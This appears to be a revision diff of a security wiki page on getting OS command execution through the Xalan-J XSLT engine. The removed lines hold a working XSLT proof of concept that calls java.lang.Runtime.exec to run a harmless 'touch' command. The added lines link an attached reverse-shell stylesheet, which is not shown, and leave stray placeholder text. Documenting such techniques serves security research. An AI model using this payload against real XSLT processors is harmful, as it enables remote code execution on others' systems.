Changes for page Engine_XalanJ

Summary

• Page properties (1 modified, 0 added, 0 removed)

Details

Page properties

Content

...	...	@@ -50,25 +50,14 @@
50	50
51	51	== OS command execution ==
52	52
53		-Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT), but this is not a problem if a reverse-shell have already been started, isn't it ;-)
	53	+Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
54	54
	55	+__Note__ : as arrays are not a native type in XSLT, we create one via split() before passing it as an argument to exec(String[] cmdarray).
55	55
56		-Note : as arrays are not a native type in XSLT, we create one via split() before passing it as an argument to exec(String[] cmdarray).
57	57
	58	+xx
58	58
	60	+|=Namespace|=Extension function|=PoC
	61	+|http:~/~/xml.apache.org/xalan/java|getRuntime() = exec()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
59	59
60		-The following code will execute the command "touch /tmp/hello" :
61		-
62		-<?xml version="1.0"?>
63		-<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
64		- xmlns:j="http:~/~/xml.apache.org/xalan/java"
65		- exclude-result-prefixes="j"
66		- version="1.0">
67		- <xsl:template match="/">
68		- <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
69		- <xsl:variable name="a" select="j:split($c, ' = ')"/>
70		- <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
71		- <xsl:variable name="p" select="j:exec($r, $a )"/>
72		- No content at the moment ...
73		- </xsl:template>
74		-</xsl:stylesheet>
	63	+yy